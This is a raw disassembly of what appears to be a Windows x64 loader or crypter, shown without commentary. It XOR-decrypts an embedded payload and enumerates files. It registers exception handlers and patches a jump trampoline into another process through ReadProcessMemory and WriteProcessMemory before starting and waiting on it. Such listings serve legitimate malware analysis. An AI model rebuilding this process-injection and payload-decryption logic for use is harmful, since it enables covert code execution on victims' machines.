movups xmmword [r14 + rsi], xmm0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
cmp r13, rbx
je 0x140019fdb
xor eax, eax
xorps xmm0, xmm0
nop dword [rax + rax]
movups xmmword [r14 + rax + 0x10], xmm0
movups xmmword [r14 + rax], xmm0
movups xmm1, xmmword [r13 + rax]
movups xmm2, xmmword [r13 + rax + 0x10]
movups xmmword [r14 + rax + 0x10], xmm2
movups xmmword [r14 + rax], xmm1
mov qword [r13 + rax + 0x10], 0
mov qword [r13 + rax + 0x18], 0xf
mov byte [r13 + rax], 0
lea rcx, [rax + r13]
add rcx, 0x20
add rax, 0x20
cmp rcx, rbx
jne 0x140019f90
test r13, r13
je 0x14001a020
cmp r13, rbx
jne 0x14001a1e1
mov r12, rbx
sub rbx, r12
cmp rbx, 0x1000
jb 0x14001a015
mov rax, qword [r12 - 8]
sub r12, rax
add r12, 0xfffffffffffffff8
cmp r12, 0x20
jae 0x14001a2a6
add rbx, 0x27
mov r12, rax
mov rcx, r12
mov rdx, rbx
call fcn.140027118
mov qword [rbp + 0x3b0], r14
shl rdi, 5
add rdi, r14
mov qword [rbp + 0x3b8], rdi
add r15, r14
mov qword [rbp + 0x3c0], r15
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x14001a07e
mov rcx, qword [rbp]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a079
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov rax, qword [rbp + 0x128]
cmp rax, 0x10
jb 0x14001a0c3
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a0be
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14001a108
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a103
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov qword [rbp + 0x400], 0
mov qword [rbp + 0x408], 0xf
mov byte [rbp + 0x3f0], 0
mov rsi, qword [rbp + 0x3b0]
mov r12, rdi
sub r12, rsi
sar r12, 5
cmp r12, 2
jb 0x14001a212
dec r12
lea r13, [rsi + 0x20]
lea rbx, str.self_starting
lea r14, str.no_print
jmp 0x14001a16d
add r13, 0x20
dec r12
je 0x14001a212
cmp qword [r13 + 0x18], 0x10
mov r15, r13
jb 0x14001a17b
mov r15, qword [r13]
mov rcx, r15
mov rdx, rbx
call fcn.1400353a0
test eax, eax
je 0x14001a160
mov rcx, r15
mov rdx, r14
call fcn.1400353a0
test eax, eax
jne 0x14001a160
mov byte [0x14006f430], 1
jmp 0x14001a160
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov qword [r13 + 0x10], 0
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
add r13, 0x20
cmp r13, rbx
je 0x140019fec
mov rax, qword [r13 + 0x18]
cmp rax, 0x10
jb 0x14001a1bf
mov rcx, qword [r13]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a1ba
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jb 0x14001a1b0
jmp 0x14001a2a6
cmp byte [rbp + 0x3a4], 0
je 0x14001a224
lea rcx, [0x140061b36]
jmp 0x14001a22b
lea rcx, [0x140061b22]
call fcn.140007d60
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x14001a23d
mov rcx, qword [rsi]
call fcn.140014740
cmp rsi, rdi
je 0x14001a2ab
mov rbx, rsi
jmp 0x14001a27b
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, rdi
je 0x14001a2ab
mov rax, qword [rbx + 0x18]
cmp rax, 0x10
jb 0x14001a25f
mov rcx, qword [rbx]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a25a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jb 0x14001a250
call fcn.1400335b0
mov rdx, qword [rbp + 0x3c0]
sub rdx, rsi
cmp rdx, 0x1000
jb 0x14001a2d6
mov rax, qword [rsi - 8]
sub rsi, rax
add rsi, 0xfffffffffffffff8
cmp rsi, 0x20
jae 0x14001a2a6
add rdx, 0x27
mov rsi, rax
mov rcx, rsi
call fcn.140027118
mov rax, qword [rbp + 0x438]
cmp rax, 0x10
jb 0x14001a31f
mov rcx, qword [rbp + 0x420]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a31a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
mov rsi, rbp
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x430], xmm0
movaps xmmword [rbp + 0x420], xmm0
mov rcx, rsi
call fcn.140035420
test rax, rax
js 0x14001b58c
mov rsi, rax
cmp rax, 0xf
ja 0x14001a384
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], 0xf
lea rcx, [rbp + 0x420]
mov rdx, rbp
mov r8, rsi
call fcn.14001eef0
jmp 0x14001a3f6
mov qword [rbp + 0x438], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14001a3c3
lea rcx, [rbx + 0x28]
call fcn.1400270d4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001a3cf
lea rcx, [rbx + 1]
call fcn.1400270d4
mov rdi, rax
mov qword [rbp + 0x420], rdi
mov qword [rbp + 0x430], rsi
mov qword [rbp + 0x438], rbx
mov rdx, rbp
mov rcx, rdi
mov r8, rsi
call fcn.14001eef0
mov byte [rdi + rsi], 0
mov rcx, qword [rbp + 0x420]
mov r8, qword [rbp + 0x430]
mov rax, qword [rbp + 0x438]
cmp rax, 0x10
lea rdx, [rbp + 0x420]
cmovae rdx, rcx
mov rdi, 0xffffffffffffffff
test r8, r8
je 0x14001a4ca
xorps xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x150], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x16c], 1
mov byte [rbp + 0x13f], 1
movzx r9d, byte [rdx + r8 - 1]
cmp byte [rbp + r9 + 0x110], 0
je 0x14001a8a0
lea rdi, [rdx + r8]
dec rdi
sub rdi, rdx
cmp rax, 0x10
jb 0x14001a501
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a4fc
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14001a2a6
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140027118
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
mov rcx, rbp
call fcn.140035420
test rax, rax
js 0x14001b58c
mov rsi, rax
cmp rax, 0xf
ja 0x14001a552
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], 0xf
lea rcx, [rbp + 0x110]
mov rdx, rbp
mov r8, rsi
call fcn.14001eef0
jmp 0x14001a5ba
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14001a587
lea rcx, [r14 + 0x28]
call fcn.1400270d4
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001a593
lea rcx, [r14 + 1]
call fcn.1400270d4
mov rbx, rax
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], r14
mov rdx, rbp
mov rcx, rbx
mov r8, rsi
call fcn.14001eef0
mov byte [rbx + rsi], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x400], xmm0
movaps xmmword [rbp + 0x3f0], xmm0
mov rax, qword [rbp + 0x120]
mov rbx, qword [rbp + 0x128]
cmp rax, rdi
cmovb rdi, rax
cmp rbx, 0x10
jb 0x14001a5ef
mov rsi, qword [rbp + 0x110]
jmp 0x14001a5f6
lea rsi, [rbp + 0x110]
test rdi, rdi
js 0x14001b5ac
cmp rdi, 0xf
ja 0x14001a638
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], 0xf
lea rcx, [rbp + 0x3f0]
mov rdx, rsi
mov r8, rdi
call fcn.140029db0
cmp rbx, 0x10
jae 0x14001a6bb
jmp 0x14001a6f3
mov qword [rbp + 0x408], 0xf
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x14001a67b
lea rcx, [r14 + 0x28]
call fcn.1400270d4
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001a687
lea rcx, [r14 + 1]
call fcn.1400270d4
mov rbx, rax
mov qword [rbp + 0x3f0], rbx
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x408], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.14001eef0
mov byte [rbx + rdi], 0
mov rbx, qword [rbp + 0x128]
cmp rbx, 0x10
jb 0x14001a6f3
mov rcx, qword [rbp + 0x110]
lea rdx, [rbx + 1]
cmp rdx, 0x1000
jb 0x14001a6ee
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14001a2a6
add rbx, 0x28
mov rdx, rbx
mov rcx, rax
call fcn.140027118
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], 4
mov qword [rbp + 0x3c8], 0xf
mov dword [rbp + 0x3b0], 0x6578652e
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x3f0]
call fcn.14001bd80
mov qword [rbp + 0x3a8], 0
lea rsi, [rbp + 0x110]
lea rdx, [rbp - 0x20]
mov rcx, rsi
call fcn.14001bfd0
mov qword [rbp + 0x130], 0xffffffffffffffff
cmp qword [rbp + 0x128], 8
jb 0x14001a767
mov rsi, qword [rbp + 0x110]
mov rcx, rsi
call fcn.140035a08
mov ebx, 2
test rax, rax
je 0x14001a904
cmp rax, qword [rbp + 0x120]
jne 0x14001a904
xorps xmm0, xmm0
movaps xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], 1
mov qword [rbp + 0x438], 7
mov word [rbp + 0x420], 0x2a
lea rdi, [rbp + 0x110]
lea rdx, [rbp + 0x420]
mov rcx, rdi
call fcn.14001c0d0
mov rax, qword [rbp + 0x438]
cmp rax, 8
jb 0x14001a815
mov rcx, qword [rbp + 0x420]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001a810
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001a2a6
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140027118
lea rdx, [rbp + 0x130]
lea rsi, [rbp + 0x138]
cmp qword [rbp + 0x128], 8
jb 0x14001a834
mov rdi, qword [rbp + 0x110]
mov rcx, rdi
mov r8, rsi
call fcn.140026e48
mov ebx, eax
cmp eax, 5
je 0x14001a904
test ebx, ebx
jne 0x14001a8de
mov rdi, qword [rbp + 0x130]
jmp 0x14001a86f
mov rcx, rdi
mov rdx, rsi
call fcn.140026edc
test eax, eax
jne 0x14001a8dc
cmp word [rbp + 0x164], 0x2e
jne 0x14001b492
movzx eax, word [rbp + 0x166]
test eax, eax
je 0x14001a860
cmp eax, 0x2e
jne 0x14001b492
cmp word [rbp + 0x168], 0
je 0x14001a860
jmp 0x14001b492
mov r9, r8
dec r9
je 0x14001a4ca
nop dword [rax]
movzx r9d, byte [rdx + r8 - 2]
cmp byte [rbp + r9 + 0x110], 0
jne 0x14001a8cf
dec r8
cmp r8, 1
jne 0x14001a8b0
jmp 0x14001a4ca
lea rdi, [rdx + r8]
add rdi, 0xfffffffffffffffe
jmp 0x14001a4c7
mov ebx, eax
test ebx, ebx
je 0x14001b492
cmp ebx, 0x12
jne 0x14001a904
mov byte [rbp + 0x388], 0
mov dword [rbp + 0x38c], 0
xor edi, edi
xor esi, esi
xor ebx, ebx
jmp 0x14001a915
mov byte [rbp + 0x388], 0
mov dword [rbp + 0x38c], ebx
xor edi, edi
xor esi, esi
mov rcx, qword [rbp + 0x130]
call fcn.140026ebc
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x14001a96d
mov rcx, qword [rbp + 0x110]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001a968
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001a2a6
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140027118
test ebx, ebx
jne 0x14001b5b1
mov rax, qword [rbp - 8]
cmp rax, 8
jb 0x14001a9bb
mov rcx, qword [rbp - 0x20]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001a9b6
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x14001a2a6
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140027118
test rsi, rsi
je 0x14001aa04
lock inc dword [rsi + 8]
lock inc dword [rsi + 8]
lock dec dword [rsi + 8]
mov qword [rbp + 0x3e8], rsi
jne 0x14001a9fa
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock dec dword [rsi + 0xc]
mov qword [rbp + 0x3e8], rsi
jne 0x14001a9fa
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov qword [rbp + 0x3e8], rsi
test rdi, rdi
jne 0x14001aa16
jmp 0x14001af93
xor eax, eax
mov qword [rbp + 0x3e8], rax
test rdi, rdi
je 0x14001af93
mov qword [rbp + 0x418], rsi
lea r14, [rbp + 0x110]
lea rdx, [rbp + 0x3b0]
lea rax, [rdi + 0x20]
mov qword [rbp + 0x3e0], rax
xorps xmm6, xmm6
jmp 0x14001aa52
mov rcx, rdi
mov rdx, r14
call fcn.14001c420
lea rdx, [rbp + 0x3b0]
mov rcx, r14
call fcn.14001bd80
cmp qword [rdi + 0x38], 8
mov rcx, qword [rbp + 0x3e0]
jb 0x14001aa6c
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x30]
lea rsi, [rcx + rax*2]
mov rdx, rsi
call fcn.14001d1c0
mov r15, rsi
cmp rax, rsi
jne 0x14001aa99
jmp 0x14001aad3
add rax, 2
cmp rax, rsi
je 0x14001aad0
movzx ecx, word [rax]
cmp ecx, 0x5c
je 0x14001aa90
cmp ecx, 0x2f
je 0x14001aa90
mov r15, rsi
cmp rax, rsi
je 0x14001aad3
nop
movzx ecx, word [r15 - 2]
cmp ecx, 0x5c
je 0x14001aad3
cmp ecx, 0x2f
je 0x14001aad3
add r15, 0xfffffffffffffffe
cmp r15, rax
jne 0x14001aab0
mov r15, rax
jmp 0x14001aad3
mov r15, rsi
mov rcx, r15
mov rdx, rsi
mov r8w, 0x3a
call fcn.140026d80
mov r12, rax
cmp r15, rax
je 0x14001ab43
lea rcx, [r12 - 2]
cmp r15, rcx
je 0x14001ab40
lea rax, [r12 - 4]
cmp word [r12 - 2], 0x2e
jne 0x14001ab17
cmp r15, rax
jne 0x14001ab12
cmp word [r15], 0x2e
mov r15, r12
je 0x14001ab43
mov r15, rcx
jmp 0x14001ab43
cmp r15, rax
je 0x14001ab40
nop dword [rax]
cmp word [rax], 0x2e
je 0x14001af82
add rax, 0xfffffffffffffffe
cmp rax, r15
jne 0x14001ab20
nop word cs:[rax + rax]
mov r15, r12
sub r12, r15
mov rbx, r12
sar rbx, 1
movaps xmmword [rbp + 0x430], xmm6
movaps xmmword [rbp + 0x420], xmm6
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x14001b5a7
cmp rbx, 7
ja 0x14001aba0
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], 7
lea rcx, [rbp + 0x420]
mov rdx, r15
mov r8, r12
call fcn.14001eef0
jmp 0x14001ac2c
mov qword [rbp + 0x438], 7
mov r14, rbx
or r14, 7
cmp r14, 0xb
mov eax, 0xa
cmovb r14, rax
lea rcx, [r14 + r14]
cmp r14, 0x7ff
jb 0x14001abf0
add rcx, 0x29
call fcn.1400270d4
mov rsi, rax
add rsi, 0x27
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001abfc
add rcx, 2
call fcn.1400270d4
mov rsi, rax
mov qword [rbp + 0x420], rsi
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x438], r14
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.14001eef0
mov word [rsi + rbx*2], 0
lea r14, [rbp + 0x110]
mov r13, qword [rbp + 0x120]
mov r15, qword [rbp + 0x128]
mov rbx, r14
cmp r15, 8
jb 0x14001ac4a
mov rbx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x438]
mov qword [rbp + 0x410], rax
cmp rax, 8
mov rcx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x430]
lea r14, [rbp + 0x420]
mov qword [rbp + 0x3d8], rcx
cmovae r14, rcx
lea r12, [r14 + rax*2]
mov rcx, r14
mov rdx, r12
call fcn.14001d1c0
mov rsi, rax
lea r13, [rbx + r13*2]
mov rcx, rbx
mov rdx, r13
call fcn.14001d1c0
mov rcx, rax
sub rcx, rbx
sar rcx, 1
mov rdx, rsi
sub rdx, r14
sar rdx, 1
cmp rcx, rdx
mov r8, rdx
cmovb r8, rcx
test r8, r8
je 0x14001ace4
xor r9d, r9d
nop word cs:[rax + rax]
movzx r10d, word [r14 + r9*2]
cmp r10w, word [rbx + r9*2]
jne 0x14001ad30
inc r9
cmp r8, r9
jne 0x14001acd0
mov ebx, 1
cmp rcx, rdx
lea r14, [rbp + 0x110]
jne 0x14001ad89
mov rdx, r12
cmp rsi, r12
je 0x14001ad41
mov rdx, rsi
jmp 0x14001ad19
add rdx, 2
cmp rdx, r12
je 0x14001ad3e
movzx ecx, word [rdx]
cmp ecx, 0x5c
je 0x14001ad10
cmp ecx, 0x2f
je 0x14001ad10
jmp 0x14001ad41
mov ebx, 1
lea r14, [rbp + 0x110]
jmp 0x14001ad89
mov rdx, r12
mov rcx, r13
cmp rax, r13
je 0x14001ad6e
mov rcx, rax
jmp 0x14001ad59
add rcx, 2
cmp rcx, r13
je 0x14001ad6b
movzx r8d, word [rcx]
cmp r8d, 0x5c
je 0x14001ad50
cmp r8d, 0x2f
je 0x14001ad50
jmp 0x14001ad6e
mov rcx, r13
xor ebx, ebx
cmp rsi, rdx
setne bl
xor r8d, r8d
cmp rax, rcx
setne r8b
sub ebx, r8d
je 0x14001ae86
mov r8, qword [rbp + 0x410]
cmp r8, 8
jb 0x14001addc
lea rdx, [r8 + r8]
add rdx, 2
cmp rdx, 0x1000
mov rcx, qword [rbp + 0x3d8]
jb 0x14001add0
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x14001a2a6
add r8, r8
add r8, 0x29
mov rdx, r8
mov rcx, rax
call fcn.140027118
mov r15, qword [rbp + 0x128]
cmp r15, 8
jb 0x14001ae21
mov rcx, qword [rbp + 0x110]
lea rdx, [r15 + r15]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001ae1c
mov rax, rcx
add rax, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rax, rcx
cmp rax, 0x20
jae 0x14001a2a6
add r15, r15
add r15, 0x29
mov rdx, r15
call fcn.140027118
test ebx, ebx
je 0x14001b551
mov rsi, qword [rbp + 0x418]
mov rcx, qword [rdi + 0x40]
mov rdx, r14
call fcn.140026edc
test eax, eax
jne 0x14001af8a
cmp word [rbp + 0x13c], 0x2e
jne 0x14001aa40
movzx eax, word [rbp + 0x13e]
test eax, eax
je 0x14001ae30
cmp eax, 0x2e
jne 0x14001aa40
cmp word [rbp + 0x140], 0
je 0x14001ae30
jmp 0x14001aa40
mov rcx, r13
mov rdx, rax
xor eax, eax
cmp rdx, r12
sete al
xor ebx, ebx
cmp rcx, r13
sete bl
sub ebx, eax
cmp rdx, r12
je 0x14001ad89
test ebx, ebx
jne 0x14001ad89
movzx eax, word [rdx]
cmp eax, 0x2f
sete r8b
cmp eax, 0x5c
sete r9b
or r9b, r8b
movzx r8d, word [rcx]
cmp r8d, 0x2f
sete r10b
cmp r8d, 0x5c
sete r11b
or r11b, r10b
movzx ebx, r11b
movzx r9d, r9b
sub ebx, r9d
jne 0x14001ad89
cmp ax, 0x5c
je 0x14001aef5
movzx r9d, ax
cmp r9d, 0x2f
jne 0x14001af30
add rdx, 2
mov rax, r12
cmp rdx, r12
jne 0x14001af19
jmp 0x14001af60
add rdx, 2
cmp rdx, r12
je 0x14001af50
movzx eax, word [rdx]
cmp eax, 0x5c
je 0x14001af10
cmp eax, 0x2f
je 0x14001af10
mov rax, rdx
jmp 0x14001af60
sub eax, r8d
mov ebx, eax
jne 0x14001ad89
add rdx, 2
add rcx, 2
jmp 0x14001ae86
mov rax, r12
nop word cs:[rax + rax]
add rcx, 2
cmp rcx, r13
je 0x14001ae80
movzx edx, word [rcx]
cmp edx, 0x5c
je 0x14001af60
cmp edx, 0x2f
je 0x14001af60
mov rdx, rax
jmp 0x14001ae86
mov r15, rax
jmp 0x14001ab43
cmp eax, 0x12
jne 0x14001b580
mov rdi, qword [rbp + 0x3e8]
test rdi, rdi
je 0x14001afbc
lock dec dword [rdi + 8]
jne 0x14001afbc
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock dec dword [rdi + 0xc]
jne 0x14001afbc
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
test rsi, rsi
je 0x14001afde
lock dec dword [rsi + 8]
jne 0x14001afde
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock dec dword [rsi + 0xc]
jne 0x14001afde
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov ebx, dword [0x14006f4b8]
mov rcx, rbx
call fcn.14002714c
mov rsi, rax
mov qword [0x14006f4d8], rax
mov ecx, 0x10
call fcn.1400270d4
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rax], xmm0
mov qword [rax + 8], rsi
mov rcx, rbx
call fcn.14002714c
mov rsi, rax
test ebx, ebx
je 0x14001b035
mov rdx, qword [0x14006f4b0]
mov rcx, rsi
test rdx, rdx
je 0x14001b039
mov r8, rbx
call fcn.14001eef0
jmp 0x14001b059
xor ebx, ebx
jmp 0x14001b059
xor edx, edx
mov r8, rbx
call fcn.14001ee20
call fcn.140033014
mov dword [rax], 0x16
call fcn.140033590
mov ebx, dword [0x14006f4b8]
mov r14d, 0x1b2b0
sub r14d, dword [0x14006f4bc]
mov ecx, r14d
call fcn.140034ea0
test ebx, ebx
jle 0x14001b0a1
mov r15d, ebx
xor r12d, r12d
nop dword [rax + rax]
movzx r13d, byte [rsi + r12]
xor r13b, r14b
call fcn.140034eb8
cdq
idiv ebx
inc dl
xor dl, r13b
mov byte [rsi + r12], dl
inc r12
cmp r15, r12
jne 0x14001b080
mov qword [rdi], rsi
mov ebx, dword [0x14006f4b8]
mov ecx, 0x18
call fcn.1400270d4
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], rdi
mov ecx, dword [0x14006f4f8]
mov dword [rax + 8], ecx
test ebx, ebx
je 0x14001b1ae
lea r14d, [rbx - 1]
lea r15d, [rbx - 3]
xor ecx, ecx
movabs r13, 0x400004000000403
lea r10, [0x14001bc00]
nop word [rax + rax]
cmp ecx, r14d
jae case.0x14001b113.7
cmp dword [rax + 0xc], 0
jne case.0x14001b113.7
movsxd rdx, ecx
movzx edx, byte [rsi + rdx]
lea r8d, [rdx - 6]
cmp r8d, 0x5f
ja case.default.0x14001b113
movsxd rdx, dword [r10 + r8*4]
add rdx, r10
jmp rdx
add edx, 0xffffff3c
cmp edx, 0x3a
ja case.0x14001b113.7
bt r13, rdx
jae case.0x14001b113.7
mov dword [rax + 0xc], 1
nop dword [rax]
cmp ecx, r15d
jae 0x14001b150
movsxd r12, ecx
cmp byte [rsi + r12], 0
je 0x14001b150
cmp byte [r12 + rsi + 1], 0
jne 0x14001b150
cmp byte [rsi + r12 + 2], 0
je 0x14001b15b
nop
inc dword [rax + 4]
inc ecx
cmp ecx, ebx
jb 0x14001b0f0
jmp 0x14001b1ae
cmp byte [rsi + r12 + 3], 0
je 0x14001b150
cmp ebx, 0x270f
ja 0x14001b150
add dword [rax + 4], 3
mov rcx, rax
call fcn.140018710
mov ecx, 0x18
call fcn.1400270d4
lea rcx, [r12 + 2]
add r12, 3
movaps xmmword [rax], xmm6
mov qword [rax + 0x10], rdi
mov dword [rax], r12d
mov edx, dword [0x14006f4f8]
inc edx
mov dword [0x14006f4f8], edx
mov dword [rax + 8], edx
lea r10, [0x14001bc00]
jmp 0x14001b153
mov rcx, rax
call fcn.140018710
mov edi, 0x1b2b0
sub edi, dword [0x14006f4bc]
mov ebx, dword [0x14006f4b8]
mov ecx, edi
call fcn.140034ea0
test ebx, ebx
jle 0x14001b205
xor r14d, r14d
nop word cs:[rax + rax]
movzx r15d, byte [rsi + r14]
xor r15b, dil
mov byte [rsi + r14], r15b
call fcn.140034eb8
cdq
idiv ebx
inc dl
xor dl, r15b
mov byte [rsi + r14], dl
inc r14
cmp rbx, r14
jne 0x14001b1e0
mov rcx, qword [0x14006f4d8]
mov r8d, dword [0x14006f4b8]
mov dl, 7
call fcn.14001ee20
lea rdx, [0x1400188d0]
mov rdi, qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov ecx, 1
call rdi
mov eax, dword [0x14006f4b8]
mov rdx, qword [0x14006f4d8]
mov rcx, qword [0x140071450]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x420], rdx
lea rax, [0x140071460]
mov qword [rsp + 0x20], rax
lea rsi, [rbp + 0x420]
lea r8, [rbp + 0x110]
mov rdx, rsi
mov r9d, 0x40
call fcn.1400256b0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x140060db9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14006f468], rax
lea rdx, [0x140018510]
mov ecx, 2
call rdi
mov qword [rbp + 0x420], 0
mov rdx, qword [0x14006f468]
mov rcx, qword [0x140071450]
mov qword [rsp + 0x20], rsi
lea r8, [0x14006f470]
mov r9d, 0xc
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rbp + 0x118], 0xc3500000
mov qword [rbp + 0x110], 0xb848
lea rax, [method.std::_Facet_base.virtual_0]
mov qword [rbp + 0x112], rax
mov rdx, qword [0x14006f468]
mov rcx, qword [0x140071450]
lea rax, [0x140071458]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
mov r9d, 0xc
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.__
call fcn.140007d60
mov rax, qword [0x14006f4d8]
mov r9, qword [0x140071450]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x28], rax
lea rax, [0x140018af0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x110]
mov edx, 0x20000000
xor r8d, r8d
call fcn.14002573c
mov rsi, qword [rbp + 0x110]
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x14006f420]
test rcx, rcx
je 0x14001b3a7
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x14006f418]
test rcx, rcx
je 0x14001b3b9
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x14006f410]
test rcx, rcx
je 0x14001b3cb
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [0x14006f428]
test rcx, rcx
je 0x14001b3dd
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rsi, rsi
